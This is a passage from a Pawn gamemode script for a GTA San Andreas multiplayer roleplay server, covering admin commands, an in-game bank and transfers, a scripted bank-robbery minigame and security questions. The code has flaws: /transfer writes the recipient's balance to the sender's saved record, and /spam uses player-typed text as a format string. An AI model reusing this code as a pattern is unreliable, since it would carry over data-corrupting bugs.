        if(!strlen(tmp)) return SCM(playerid, COL_SYN, "Syntax: /spam <Playerid/PartOfName> <Lines> <Message>");
        new taraf, line, mes[144];
        taraf = ReturnUser6(tmp);
        if(!IsPlayerConnected(taraf)) return SCM(playerid, COLOR_YELLOW2, "Error: That player isn't connected.");
        if(PINFO[taraf][pAdmin] > PINFO[playerid][pAdmin]) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command for your higher ranks people.");
        tmp = strtok(cmdtext, idx);
        if(!strlen(tmp)) return SCM(playerid, COL_SYN, "Syntax: /spam <Playerid/PartOfName> <Lines> <Message>");
        line = strval(tmp);
        if(line >= 101) return SCM(playerid, COLOR_YELLOW2, "Error: You can't spam more than 100 lines.");
		tmp = strtokEx(cmdtext,idx);
		if(!strlen(tmp)) return SCM(playerid,COL_SYN, "Syntax: /spam <Playerid/PartOfName> <Lines> <Message>");
		format(mes, sizeof(mes), tmp);
		Spam(taraf, line, COLOR_WHITE, mes);
		printf("%s spammed %s with %d lines",PINFO[playerid][pName],PINFO[taraf][pName],line);
		return 1;
		}
		if(strcmp(cmd, "/server", true) == 0)
		{
		if(PINFO[playerid][pAdmin] < 13) return SCM(playerid, COLOR_YELLOW2, "Error: Your admin level isn't high enough to use this command.");
        new typex=0,exex[20],admwrn[144];
        exex = strtok(cmdtext, idx);
        if(strcmp(exex,"ExpireToggle",true) == 0)
        {
        typex = 1;
        }
        else if(strcmp(exex,"ExpireDays",true) == 0)
        {
        typex = 2;
        }
		else
		{
		SCM(playerid,COL_SYN, "Syntax: /server <ExpireToggle/ExpireDays> <Value>");
		return 1;
		}
        tmp = strtok(cmdtext, idx);
		if(!strlen(tmp)) return SCM(playerid,COL_SYN, "Syntax: /server <ExpireToggle/ExpireDays> <Value>");
        new value;
        value = strval(tmp);
        if(typex == 1 && ExpireDays <= 0) return SCM(playerid, COLOR_YELLOW2, "Error: First set expire days.");
        if(typex == 1 && value != 1 && value != 0) return SCM(playerid, COLOR_YELLOW2, "Error: Value for expire toggle can just be 0 or 1.");
        if(typex == 2 && value <= 0) return SCM(playerid, COLOR_YELLOW2, "Error: Value for expire days should be higher than 1.");
        if(value >= 9999999999) return SCM(playerid, COLOR_YELLOW2, "Error: Entered value is very high.");
        if(typex == 1)
        {
        ExpireToggle = value;
	    format(admwrn, sizeof(admwrn), "{ffffff}Admin %s has set server expire days toggle %s.",RPName(playerid), (value==1)?("on"):("off"));
	    if(value == 0)
	    {
	    ExpireDays = 0;
	    }
        }
        if(typex == 2)
        {
        ExpireDays = value;
        format(admwrn, sizeof(admwrn), "{ffffff}Admin %s has set server expire days to %s.",RPName(playerid), FormatNumber(value));
        }
        SaveStuff();
        AdminWarn(admwrn);
		return 1;
		}
		if(strcmp(cmd, "/expire", true) == 0)
		{
		if(ExpireToggle != 1) return SCM(playerid, COLOR_YELLOW2, "Error: Unknown command.");
		new formater[144];
		format(formater, sizeof(formater), "This server expires in %d days.", ExpireDays);
		SCM(playerid, COLOR_SINARANG, formater);
		format(formater, sizeof(formater), "This server hosted by %s %s.", HOST_NAME1, HOST_NAME2);
		SCM(playerid, COLOR_SINARANG, formater);
		SCM(playerid, COLOR_SINARANG, "Scripted by: Sina (@ItsNull)");
		return 1;
		}
		if(strcmp(cmd, "/bank", true) == 0)
		{
		new fffm[70];
		format(fffm, sizeof(fffm), "%s Bank", SERVER_NAME1);
		if(!BankWhere(playerid)) return Error(playerid, "Error: You are not controlling any section of any bank.")
        if(IsServerRob == 1) return Error(playerid, "Error: Sorry we are busy right now.")
		if(ImInSection[playerid]!=0)return Error(playerid, "You already are reserving a section.")
		if(BankWhere(playerid)==11 && BankLS1 != 0)return Error(playerid, "Error: This section was reserved.")
		if(BankWhere(playerid)==12 && BankLS2 != 0)return Error(playerid, "Error: This section was reserved.")
		if(BankWhere(playerid)==13 && BankLS3 != 0)return Error(playerid, "Error: This section was reserved.")
		if(BankWhere(playerid)==14 && BankLS4 != 0)return Error(playerid, "Error: This section was reserved.")
		if(BankWhere(playerid)==21 && BankLV1 != 0)return Error(playerid, "Error: This section was reserved.")
		if(BankWhere(playerid)==22 && BankLV2 != 0)return Error(playerid, "Error: This section was reserved.")
		if(BankWhere(playerid)==23 && BankLV3 != 0)return Error(playerid, "Error: This section was reserved.")
		if(BankWhere(playerid)==24 && BankLV4 != 0)return Error(playerid, "Error: This section was reserved.")
		if(BankWhere(playerid)==31 && BankSF1 != 0)return Error(playerid, "Error: This section was reserved.")
		if(BankWhere(playerid)==32 && BankSF2 != 0)return Error(playerid, "Error: This section was reserved.")
		if(BankWhere(playerid)==33 && BankSF3 != 0)return Error(playerid, "Error: This section was reserved.")
		if(BankWhere(playerid)==34 && BankSF4 != 0)return Error(playerid, "Error: This section was reserved.")
		if(BankWhere(playerid) >= 11 && BankWhere(playerid) <= 14)// LS
		{
		ShowPlayerDialog(playerid,9374,DIALOG_STYLE_LIST,fffm,"Balance\nWithdraw\nDeposit\nTransfer","Select","Cancel");
        BankIdleTimer[playerid] = SetTimerEx("BankIdleTimerX", 10000, false, "i", playerid);
		}
		if(BankWhere(playerid) >= 21 && BankWhere(playerid) <= 24)// LV
		{
		ShowPlayerDialog(playerid,9374,DIALOG_STYLE_LIST,fffm,"Balance\nWithdraw\nDeposit\nTransfer","Select","Cancel");
        BankIdleTimer[playerid] = SetTimerEx("BankIdleTimerX", 10000, false, "i", playerid);
		}
		if(BankWhere(playerid) >= 31 && BankWhere(playerid) <= 34)// SF
		{
		ShowPlayerDialog(playerid,9374,DIALOG_STYLE_LIST,fffm,"Balance\nWithdraw\nDeposit\nTransfer","Select","Cancel");
        BankIdleTimer[playerid] = SetTimerEx("BankIdleTimerX", 10000, false, "i", playerid);
		}
		if(BankWhere(playerid)==11) BankLS1 = 1;
		if(BankWhere(playerid)==12) BankLS2 = 1;
		if(BankWhere(playerid)==13) BankLS3 = 1;
		if(BankWhere(playerid)==14) BankLS4 = 1;
		if(BankWhere(playerid)==21) BankLV1 = 1;
		if(BankWhere(playerid)==22) BankLV2 = 1;
		if(BankWhere(playerid)==23) BankLV3 = 1;
		if(BankWhere(playerid)==24) BankLV4 = 1;
		if(BankWhere(playerid)==31) BankSF1 = 1;
		if(BankWhere(playerid)==32) BankSF2 = 1;
		if(BankWhere(playerid)==33) BankSF3 = 1;
		if(BankWhere(playerid)==34) BankSF4 = 1;
		ImInSection[playerid] = BankWhere(playerid);
		return 1;
		}
		if(strcmp(cmd, "/transfer", true) == 0)
		{
		if(!BankWhere(playerid)) return Error(playerid, "Error: You are not controlling any section of any bank.")
		if(IsServerRob == 1) return Error(playerid, "Error: Sorry we are busy right now.")
		if(PINFO[playerid][pLevel] < 3) return Error(playerid, "Error: Your level isn't high enough to use this command.")
        if(PINFO[playerid][pNCard]==0) return Error(playerid, "Error: You must have national card to continue.")
		new formater[144],amount;
		tmp = strtok(cmdtext, idx);
	    if(!strlen(tmp)) return SCM(playerid, COL_SYN, "Syntax: /transfer <Playerid/PartOfName> <Amount>");
	    new taraf=ReturnUser6(tmp);
		if(!IsPlayerConnected(taraf)) return SCM(playerid,COLOR_YELLOW2,"Error: That player is not connected.");
        if(taraf == playerid) return SCM(playerid,COLOR_YELLOW2,"Error: You couldn't transfer to yourself.");
		tmp = strtok(cmdtext, idx);
	    if(!strlen(tmp)) return SCM(playerid, COL_SYN, "Syntax: /transfer <Playerid/PartOfName> <Amount>");
	    amount = strval(tmp);
	    if(amount <= 0) return Error(playerid, "Error: You couldn't transfer this amount of money.")
	    if(amount > PINFO[playerid][pAccount]) return Error(playerid, "Error: You don't have that much money in your bank account.")
		new pacc=PINFO[playerid][pAccount];
		new tacc=PINFO[taraf][pAccount];
		PlayerInfo[playerid][pAccount] -= amount;
        SaveKonVal(playerid, "pAccount", PINFO[playerid][pAccount]);
	    PlayerInfo[taraf][pAccount] += amount;
        SaveKonVal(playerid, "pAccount", PINFO[taraf][pAccount]);
        format(formater, sizeof(formater), "{FFFFFF} %s {FF0000}has transferred{FFFFFF} $%s {FF0000}to your bank account.", RPName(playerid), FormatNumber(amount));
        SCM(taraf, COLOR_SINAGHERMEZ, formater);
        format(formater, sizeof(formater), " You transferred{FFFFFF} $%s {FF0000}to %s's bank account.", FormatNumber(amount), RPName(taraf));
        SCM(playerid, COLOR_SINAGHERMEZ, formater);
	    format(formater, sizeof(formater), "{ffffff}Player %s(%i) has transferred $%s to %s(%i)'s bank account.",RPName(playerid), playerid, FormatNumber(amount), RPName(taraf), taraf);
        AdminWarn(formater);
        format(formater, sizeof(formater), "Player %s(R#%i)(BA:$%s) has transferred $%s to %s(R#%i)(BA:$%s)", RPName(playerid), PINFO[playerid][pID], FormatNumber(pacc), FormatNumber(amount), RPName(taraf), PINFO[taraf][pID], FormatNumber(tacc))
        WriteTransferLog(formater);
		return 1;
		}
		/*if(strcmp(cmd, "/stop", true) == 0)
		{
		if(IsServerRob!=0&&NewRobLeader==playerid){SendRobMessage(COLOR_ROB, "Rob stopped. Mission failed.");StopRob();return 1;}
		Error(playerid, "Error: Unknown command.")
		return 1;
		}*/
		if(strcmp(cmd, "/start", true) == 0)
		{
		new PMs[144],myrank[20];
		if(ICanVoteForRob[playerid]!=1)return Error(playerid, "Error: Unknown command.")
		if(!IsAtBankk(sGunner1) || !IsAtBankk(sGunner2) || !IsAtBankk(sHacker))return Error(playerid, "Error: All teammates should be in bank.")
		new countx=0;
		if(TooBiz[sGunner1] == TooBiz[sHacker]){if(TooBiz[sHacker]==TooBiz[sGunner2]){countx=1;}}
		if(countx!=1)return Error(playerid, "Error: All teammates should be in same place.")
		if(NewRobLeader == playerid && ReadyPlayers != 3)return Error(playerid, "Error: All players should be ready.")
		if(GetPlayerState(sRunner) != PLAYER_STATE_DRIVER || OwnedMashin[GetPlayerVehicleID(sRunner)] == 1)return Error(playerid, "Error: Runner should sit in a non-owned vehicle as driver.")
		ICanVoteForRob[playerid]=0;
		ReadyPlayers++;
		if(sGunner1 == playerid) myrank = "First Gunner";
		if(sGunner2 == playerid) myrank = "Second Gunner";
		if(sHacker == playerid) myrank = "Hacker";
		if(sRunner == playerid) myrank = "Runner";
		format(PMs, sizeof(PMs), " %s %s(%i) is ready.", myrank, RPName(playerid), playerid);
		if(NewRobLeader != playerid)SendRobMessage(COLOR_ROB, PMs);
		if(playerid == NewRobLeader)
		{
		format(PMs, sizeof(PMs), " Okay teammates. Let's rob this bank. Go downstairs and shoot at the door!", myrank, RPName(playerid), playerid);
		SendRobMessage(COLOR_ROB, PMs);
		SendRobMessage(COLOR_ROB, " Remember that you have 2 minutes to break that door or you all will be failed.");
		BreakThatDoor = SetTimer("BreakThatDoor1", 120000, 0);
		RobVeh=GetPlayerVehicleID(sRunner);
		if(TooBiz[playerid] == 9)BizzInfo[9][bLocked] = 1;
        if(TooBiz[playerid] == 8)BizzInfo[8][bLocked] = 1;
        BreakAvDar = 1;
        IsServerRob = 1;
		}
		return 1;
		}
		if(strcmp(cmd, "/rob", true) == 0)
		{
		if(PINFO[playerid][pLevel] < 5) return Error(playerid, "Error: Your level isn't high enough to control a rob.")
		if(IsServerRob != 0) return Error(playerid, "Error: A rob already is processing on server.")
		if(PINFO[playerid][pRob] < 15) return Error(playerid, "Error: To start a rob, your rob points should more than 15.")
		new Gunner1, Gunner2, Hacker, Runner, MyCounter,PMs[144], GetIPz[4][21];
		tmp = strtok(cmdtext, idx);
		if(!strlen(tmp))return SCM(playerid,COL_SYN,"Syntax: /rob <PlayerID/PartOfName(Gunner1)> <PlayerID/PartOfName(Gunner2)> <PlayerID/PartOfName(Hacker)> <PlayerID/PartOfName(Runner)>");
		Gunner1=ReturnUser6(tmp);
		if(!IsPlayerConnected(Gunner1)) return Error(playerid, "Error: Gunner1 isn't connected.")
		if(!ProxDetectorS(5.0, playerid, Gunner1)) return Error(playerid, "Error: Gunner1 should be near you.")
		if(PINFO[Gunner1][pLevel] < 3) return Error(playerid, "Error: Gunner1's level should be higher than 3.")
		if(PINFO[Gunner1][pRob] < 10) return Error(playerid, "Error: Gunner1's rob points should be more than 10.")
        if(GetPlayerWantedLevel(Gunner1) >= 1) return Error(playerid, "Error: Gunner1 has wanted levels.")
        if(IsACop(Gunner1)) return Error(playerid, "Error: Gunner1 is a cop.")
		if(Gunner1 == playerid) MyCounter++;
		tmp = strtok(cmdtext, idx);
		if(!strlen(tmp))return SCM(playerid,COL_SYN,"Syntax: /rob <PlayerID/PartOfName(Gunner1)> <PlayerID/PartOfName(Gunner2)> <PlayerID/PartOfName(Hacker)> <PlayerID/PartOfName(Runner)>");
		Gunner2=ReturnUser6(tmp);
		if(!IsPlayerConnected(Gunner2)) return Error(playerid, "Error: Gunner2 isn't connected.")
		if(!ProxDetectorS(5.0, playerid, Gunner2)) return Error(playerid, "Error: Gunner2 should be near you.")
		if(PINFO[Gunner2][pLevel] < 3) return Error(playerid, "Error: Gunner2's level should be higher than 3.")
		if(PINFO[Gunner2][pRob] < 10) return Error(playerid, "Error: Gunner2's rob points should be more than 10.")
		if(GetPlayerWantedLevel(Gunner2) >= 1) return Error(playerid, "Error: Gunner2 has wanted levels.")
		if(IsACop(Gunner2)) return Error(playerid, "Error: Gunner2 is a cop.")
		if(Gunner2 == playerid) MyCounter++;
		tmp = strtok(cmdtext, idx);
		if(!strlen(tmp))return SCM(playerid,COL_SYN,"Syntax: /rob <PlayerID/PartOfName(Gunner1)> <PlayerID/PartOfName(Gunner2)> <PlayerID/PartOfName(Hacker)> <PlayerID/PartOfName(Runner)>");
		Hacker=ReturnUser6(tmp);
		if(!IsPlayerConnected(Hacker)) return Error(playerid, "Error: Hacker isn't connected.")
		if(!ProxDetectorS(5.0, playerid, Hacker)) return Error(playerid, "Error: Hacker should be near you.")
		if(!IsAHacker(Hacker)) return Error(playerid, "Error: Hacker shoudld be in Unknowns faction.")
		if(PINFO[Hacker][pLevel] < 7) return Error(playerid, "Error: Hacker's level should be higher than 7.")
		if(PINFO[Hacker][pRob] < 10) return Error(playerid, "Error: Hacker's rob points should be more than 10.")
		if(GetPlayerWantedLevel(Hacker) >= 1) return Error(playerid, "Error: Hacker has wanted levels.")
		if(IsACop(Hacker)) return Error(playerid, "Error: Hacker is a cop.")
		if(Hacker == playerid) MyCounter++;
		tmp = strtok(cmdtext, idx);
		if(!strlen(tmp))return SCM(playerid,COL_SYN,"Syntax: /rob <PlayerID/PartOfName(Gunner1)> <PlayerID/PartOfName(Gunner2)> <PlayerID/PartOfName(Hacker)> <PlayerID/PartOfName(Runner)>");
		Runner=ReturnUser6(tmp);
		if(!IsPlayerConnected(Runner)) return Error(playerid, "Error: Runner isn't connected.")
		if(!ProxDetectorS(5.0, playerid, Runner)) return Error(playerid, "Error: Runner should be near you.")
		if(PINFO[Runner][pLevel] < 5) return Error(playerid, "Error: Runner's level should be higher than 7.")
		if(PINFO[Runner][pRob] < 10) return Error(playerid, "Error: Runner's rob points should be more than 10.")
		if(GetPlayerWantedLevel(Runner) >= 1) return Error(playerid, "Error: Runner has wanted levels.")
		if(IsACop(Runner)) return Error(playerid, "Error: Runner is a cop.")
		if(Runner == playerid) MyCounter++;
		if(MyCounter != 1) return Error(playerid, "Error: You should be in only one role.")
		if(!IsAtBankk(Gunner1) || !IsAtBankk(Gunner2) || !IsAtBankk(Hacker)) return Error(playerid, "Error: All of you should be in bank.")
		GetPlayerIp(Gunner1,GetIPz[0],21); GetPlayerIp(Gunner2,GetIPz[1],21); GetPlayerIp(Hacker,GetIPz[2],21); GetPlayerIp(Runner,GetIPz[3],21);
		//for(new a = 0; a < 4; a++)
		//{
		//for(new b = 0; b < 4; b++)
		//{
		//if(!strcmp(GetIPz[a], GetIPz[b], true))counts++;
		//}
		//}
		//if(counts >= 1) return Error(playerid, "Error: One of your participants is same ip of the other participants.")
		sGunner1 = Gunner1, sGunner2 = Gunner2, sHacker = Hacker, sRunner = Runner, ICanVoteForRob[Hacker] = 1, ICanVoteForRob[Gunner1] = 1, ICanVoteForRob[Gunner2] = 1, ICanVoteForRob[Runner] = 1, NewRobLeader = playerid;
		if(PINFO[playerid][pPremiumAccount]!=0)
		{
		PlayerInfo[playerid][pRob] -= 15;
		SaveKonVal(playerid, "pRob", PINFO[playerid][pRob]);
		}
		else
		{
		PlayerInfo[playerid][pRob] = 0;
		SaveKonVal(playerid, "pRob", PINFO[playerid][pRob]);
		}
		if(PINFO[Gunner1][pPremiumAccount]!=0)
		{
		PlayerInfo[Gunner1][pRob] -= 10;
		SaveKonVal(Gunner1, "pRob", PINFO[Gunner1][pRob]);
		}
		else
		{
		PlayerInfo[Gunner1][pRob] = 0;
		SaveKonVal(Gunner1, "pRob", PINFO[Gunner1][pRob]);
		}
		if(PINFO[Gunner2][pPremiumAccount]!=0)
		{
		PlayerInfo[Gunner2][pRob] -= 10;
		SaveKonVal(Gunner2, "pRob", PINFO[Gunner2][pRob]);
		}
		else
		{
		PlayerInfo[Gunner2][pRob] = 0;
		SaveKonVal(Gunner2, "pRob", PINFO[Gunner2][pRob]);
		}
		if(PINFO[Hacker][pPremiumAccount]!=0)
		{
		PlayerInfo[Hacker][pRob] -= 10;
		SaveKonVal(Hacker, "pRob", PINFO[Hacker][pRob]);
		}
		else
		{
		PlayerInfo[Hacker][pRob] = 0;
		SaveKonVal(Hacker, "pRob", PINFO[Hacker][pRob]);
		}
		format(PMs, sizeof(PMs), " Okay teammates, let's do this.");
		SendRobMessage(COLOR_ROB, PMs);
		format(PMs, sizeof(PMs), " Be careful, if one of you leave the game, the mission will be failed.");
		SendRobMessage(COLOR_ROB, PMs);
		format(PMs, sizeof(PMs), " Only one of gunners can leave the game, so you can continue the mission with 3 teammates. Else mission will be failed.");
		SendRobMessage(COLOR_ROB, PMs);
		format(PMs, sizeof(PMs), "First Gunner: %s(%i), Second Gunner: %s(%i), Hacker: %s(%i), Runner: %s(%i)", RPName(Gunner1), Gunner1, RPName(Gunner2), Gunner2, RPName(Hacker), Hacker, RPName(Runner), Runner);
		SendRobMessage(COLOR_ROB, PMs);
		SendRobMessage(COLOR_ROB, " If you all ready, type /start");
		return 1;
		}
		if(strcmp(cmd, "/hack", true) == 0)
		{
		if(sHacker != playerid || IsServerRob != 1)return Error(playerid, "Error: You can't use this command now.")
        new Avval = RandomShomare(1000,10000);
        new Dovvom = RandomShomare(11000,20000);
        new Akhar = RandomShomare(Avval,Dovvom);
        HackingNumber[playerid] = Akhar;
        HackingNumberMin[playerid] = Avval;
        HackingNumberMax[playerid] = Dovvom;
        new mainz[300];
        new title[30];
        format(mainz,sizeof(mainz),"Hacking Bank...\nEnter a number between {ff0000}%d{A9C4E4}-{ff0000}%d{A9C4E4}", HackingNumberMin[playerid], HackingNumberMax[playerid]);
        format(title, sizeof(title), "Hacking Bank");
        ShowPlayerDialog(playerid,6590,DIALOG_STYLE_INPUT,title,mainz,"Try","Close");
		return 1;
		}
		if(strcmp(cmd, "/givecash", true) == 0)
		{
		if(sGunner1!=playerid&&sGunner2!=playerid)return Error(playerid, "Error: You can't give cash now.")
		tmp = strtok(cmdtext, idx);
		if(isnull(tmp))return SCM(playerid,COL_SYN,"Syntax: /givecash <PlayerID/PartOfName>");
		new id=ReturnUser6(tmp);
		if(!IsPlayerConnected(id))return Error(playerid, "Error: That player isn't connected.")
		if(id != sRunner)return Error(playerid, "Error: That player isn't runner.")
		if(MyBardashtedPool[playerid] <= 0)return Error(playerid, "Error: You haven't any money to give.")
        if(!ProxDetectorS(7,id,playerid))return Error(playerid, "Error: The runner is too away from you.")
		MyBardashtedPool[id] += MyBardashtedPool[playerid];
		new PMs[144];
		format(PMs, sizeof(PMs), " Gunner %s(%i) given $%s to Runner %s.", RPName(playerid), playerid, FormatNumber(MyBardashtedPool[playerid]), RPName(id));
		SendRobMessage(COLOR_ROB, PMs);
		format(PMs, sizeof(PMs), " If another gunner has money, %s should give that to runner or you won't get that.",(PINFO[playerid][pSex]==1)?("he"):("she"));
		SendRobMessage(COLOR_ROB, PMs);
		SendRobMessage(COLOR_ROB, " Now go to the checkpoint and get money.");
		MyBardashtedPool[playerid] = 0;
        new RandX = RandomShomare(1,3);
		if(IsPlayerInArea(playerid, -1078.125, 3058.59375, -3058.59375, 433.59375))
		{
		if(RandX==1){
		if(KiRafteAzRob!=1){SetPlayerCheckpoint(sGunner1,982.660705, -2162.143554, 13.093750, 3.0);OnCheckpoint[sGunner1] = 1;CP[sGunner1] = 68069;}
		if(KiRafteAzRob!=2){SetPlayerCheckpoint(sGunner2,982.660705, -2162.143554, 13.093750, 3.0);OnCheckpoint[sGunner2] = 1;CP[sGunner2] = 68069;}
		SetPlayerCheckpoint(sHacker,982.660705, -2162.143554, 13.093750, 3.0);
		SetPlayerCheckpoint(sRunner,982.660705, -2162.143554, 13.093750, 3.0);}
		if(RandX==2){
		if(KiRafteAzRob!=1){SetPlayerCheckpoint(sGunner1,542.434509, -1764.079956, 6.174432, 3.0);OnCheckpoint[sGunner1] = 1;CP[sGunner1] = 68069;}
		if(KiRafteAzRob!=2){SetPlayerCheckpoint(sGunner2,542.434509, -1764.079956, 6.174432, 3.0);OnCheckpoint[sGunner2] = 1;CP[sGunner2] = 68069;}
		SetPlayerCheckpoint(sHacker,542.434509, -1764.079956, 6.174432, 3.0);
		SetPlayerCheckpoint(sRunner,542.434509, -1764.079956, 6.174432, 3.0);}
		if(RandX==3){
		if(KiRafteAzRob!=1){SetPlayerCheckpoint(sGunner1,-201.250579, -1537.897949, 7.021942, 3.0);OnCheckpoint[sGunner1] = 1;CP[sGunner1] = 68069;}
		if(KiRafteAzRob!=2){SetPlayerCheckpoint(sGunner2,-201.250579, -1537.897949, 7.021942, 3.0);OnCheckpoint[sGunner2] = 1;CP[sGunner2] = 68069;}
		SetPlayerCheckpoint(sHacker,-201.250579, -1537.897949, 7.021942, 3.0);
		SetPlayerCheckpoint(sRunner,-201.250579, -1537.897949, 7.021942, 3.0);}
		OnCheckpoint[sHacker] = 1;CP[sHacker] = 68069;
		OnCheckpoint[sRunner] = 1;CP[sRunner] = 68069;
		}
		if(IsPlayerInArea(playerid, -1078.125, 3210.9375, 445.3125, 3000))
		{
		if(RandX==1){
		if(KiRafteAzRob!=1){SetPlayerCheckpoint(sGunner1,2709.813476, 822.864379, 10.726517, 3.0);OnCheckpoint[sGunner1] = 1;CP[sGunner1] = 68069;}
		if(KiRafteAzRob!=2){SetPlayerCheckpoint(sGunner2,2709.813476, 822.864379, 10.726517, 3.0);OnCheckpoint[sGunner2] = 1;CP[sGunner2] = 68069;}
		SetPlayerCheckpoint(sHacker,2709.813476, 822.864379, 10.726517, 3.0);
		SetPlayerCheckpoint(sRunner,2709.813476, 822.864379, 10.726517, 3.0);}
		if(RandX==2){
		if(KiRafteAzRob!=1){SetPlayerCheckpoint(sGunner1,1073.910400, 2186.276123, 16.805637, 3.0);OnCheckpoint[sGunner1] = 1;CP[sGunner1] = 68069;}
		if(KiRafteAzRob!=2){SetPlayerCheckpoint(sGunner2,1073.910400, 2186.276123, 16.805637, 3.0);OnCheckpoint[sGunner2] = 1;CP[sGunner2] = 68069;}
		SetPlayerCheckpoint(sHacker,1073.910400, 2186.276123, 16.805637, 3.0);
		SetPlayerCheckpoint(sRunner,1073.910400, 2186.276123, 16.805637, 3.0);}
		if(RandX==3){
		if(KiRafteAzRob!=1){SetPlayerCheckpoint(sGunner1,1752.119628, 890.354980, 10.745737, 3.0);OnCheckpoint[sGunner1] = 1;CP[sGunner1] = 68069;}
		if(KiRafteAzRob!=2){SetPlayerCheckpoint(sGunner2,1752.119628, 890.354980, 10.745737, 3.0);OnCheckpoint[sGunner2] = 1;CP[sGunner2] = 68069;}
		SetPlayerCheckpoint(sHacker,1752.119628, 890.354980, 10.745737, 3.0);
		SetPlayerCheckpoint(sRunner,1752.119628, 890.354980, 10.745737, 3.0);}
		OnCheckpoint[sHacker] = 1;CP[sHacker] = 68069;
		OnCheckpoint[sRunner] = 1;CP[sRunner] = 68069;
		}
		return 1;
		}
		if(strcmp(cmd, "/fp", true) == 0)
		{
		ShowPlayerDialog(playerid,8018,DIALOG_STYLE_INPUT,"Forget Password","Hello there,\nPlease enter the name of that account you lost its password.","Next","Close");
		return 1;
		}
		if(strcmp(cmd, "/mysecurity", true) == 0)
		{
		new fmm[300],query[150],namex[130];
		if(PINFO[playerid][pSecurity])
		{
        mysql_format(handle,query,sizeof(query),"SELECT * FROM `users` WHERE `pName`='%e'", PINFO[playerid][pName]);
        new Cache:result=mysql_query(handle,query);
        cache_get_field_content(0,"pSecQuestion",namex,handle,sizeof(namex));
        cache_delete(result);
		format(fmm, sizeof(fmm), "Question: {FFFF00}%s{A9C4E4}\nPlease enter the answer to make your security question disable.", namex);
		ShowPlayerDialog(playerid,6504,DIALOG_STYLE_INPUT,"Disabling security question",fmm,"Done","Close");
		return 1;
		}
		else if(!PINFO[playerid][pSecurity])
		{
		ShowPlayerDialog(playerid,6505,DIALOG_STYLE_MSGBOX,"Enabling security question","This system helps you to recovery your account and get it back from who stolen your account.\nIf you want to make this system enable, press enable.\nNote: You can't disable it again.","Enable","Close");
		return 1;
		}
		return 1;
		}
		if(strcmp(cmd, "/togsecurity", true) == 0)
		{
		if(PINFO[playerid][pAdmin] < 12) return SCM(playerid, COLOR_YELLOW2, "Error: Your admin level isn't high enough to use this command.");
	    tmp = strtok(cmdtext, idx);
	    if(!strlen(tmp)) return SCM(playerid, COL_SYN, "Syntax: /togsecurity <FullName>");
		new query[512],ponlinex,pomx,moxe[144],chckoff;
        mysql_format(handle,query,sizeof(query),"SELECT * FROM `users` WHERE `pName`='%e'", tmp);
        new Cache:result=mysql_query(handle,query);
        ponlinex = cache_get_field_content_int(0,"pOnline");
        pomx = cache_get_field_content_int(0,"pSecurity");
        if(cache_num_rows()==0) return Error(playerid, "Error: This name isn't exist.")
        cache_delete(result);
        if(ponlinex!=0)
        {
        new tarafid = ReturnUser2(tmp);
		if(pomx == 0)
		{
        PlayerInfo[tarafid][pSecurity] = 1;
		SaveKonVal(tarafid, "pSecurity", PINFO[tarafid][pSecurity]);
		}
		if(pomx == 1)
		{
        PlayerInfo[tarafid][pSecurity] = 0;
		SaveKonVal(tarafid, "pSecurity", PINFO[tarafid][pSecurity]);
		}
	    format(moxe, sizeof(moxe), "{ffffff}Admin %s has toggled %s's recovery system %s",RPName(playerid), PINFO[tarafid][pName], (PINFO[tarafid][pSecurity]==1)?("on"):("off"));
        AdminWarn(moxe);
        format(moxe, sizeof(moxe), "Admin %s has toggled your recovery system to %s", RPName(playerid), (PINFO[tarafid][pSecurity]==1)?("on"):("off"));
		SCM(playerid, COLOR_SINARANG, moxe);
		}
        else
        {
		 if(pomx == 0)
		 {
 	     mysql_format(handle, query,sizeof(query),"UPDATE `users` SET `pSecurity`='1' WHERE `pName`='%e'", tmp);
	     mysql_function_query(handle,query,false,"SendQuery","");
	     chckoff=1;
	     }
	     if(pomx == 1)
	     {
 	     mysql_format(handle, query,sizeof(query),"UPDATE `users` SET `pSecurity`='0' WHERE `pName`='%e'", tmp);
	     mysql_function_query(handle,query,false,"SendQuery","");
	     chckoff=0;
	     }
	     format(moxe, sizeof(moxe), "{ffffff}Admin %s has toggled %s's recovery system %s (Offline)",RPName(playerid), tmp, (chckoff==1)?("on"):("off"));
         AdminWarn(moxe);
        }
		return 1;
		}
		if(strcmp(cmd, "/vehex", true) == 0)
		{
		if(PINFO[playerid][pAdmin] < 5) return SCM(playerid, COLOR_YELLOW2, "Error: Your admin level isn't high enough to use this command.");
        if(IsPlayerInAnyVehicle(playerid)) return SCM(playerid,COLOR_YELLOW2,"Error: You cannot create a vehicle when you are in a vehicle.");
		tmp = strtok(cmdtext, idx);
		if(!strlen(tmp)) return SendMessage(playerid, COL_SYN, "Syntax: /vehex <ModelName/ID> <ColorID1> <ColorID2> <Amount In Left> <Amount In Right>");
		new car, color1, color2, inleft, inright, Float:R, Float:X, Float:Y, Float:Z, Float:disx=4.5, temp, Float:tmpx, Float:tmpy, int=GetPlayerInterior(playerid), vw=GetPlayerVirtualWorld(playerid), str[144];
		if(IsNumeric(tmp))
		{
		   car = strval(tmp);
		   if(car < 400 || car > 615) return SendMessage(playerid, COLOR_YELLOW2, "Error: Vehicle Number can't be below 400 or above 611");
		}
		else
		{
		for(new i = 0;i<212;i++)
		{
			if(strfind(aVehicleNames[i], tmp, true) != -1)
			{
			  car = i+400;
			}
		}
		if(car == 0) return SCM(playerid, COLOR_YELLOW2, "Error: Invalid vehicle name.");
		}
		tmp = strtok(cmdtext, idx);
		if(!strlen(tmp)) return SendMessage(playerid, COL_SYN, "Syntax: /vehex <ModelName/ID> <ColorID1> <ColorID2> <Amount In Left> <Amount In Right>");
		color1 = strval(tmp);
		if(color1 < 0 || color1 > 255) return SendMessage(playerid, COLOR_YELLOW2, "Error: Color Number can't be below 0 or above 255");
		tmp = strtok(cmdtext, idx);
		if(!strlen(tmp)) return SendMessage(playerid, COL_SYN, "Syntax: /vehex <ModelName/ID> <ColorID1> <ColorID2> <Amount In Left> <Amount In Right>");
		color2 = strval(tmp);
		tmp = strtok(cmdtext, idx);
		if(!strlen(tmp)) return SendMessage(playerid, COL_SYN, "Syntax: /vehex <ModelName/ID> <ColorID1> <ColorID2> <Amount In Left> <Amount In Right>");
		inleft = strval(tmp);
		tmp = strtok(cmdtext, idx);
		if(!strlen(tmp)) return SendMessage(playerid, COL_SYN, "Syntax: /vehex <ModelName/ID> <ColorID1> <ColorID2> <Amount In Left> <Amount In Right>");
		inright = strval(tmp);
		if(color2 < 0 || color2 > 255) return SendMessage(playerid, COLOR_YELLOW2, "Error: Color Number can't be below 0 or above 255");
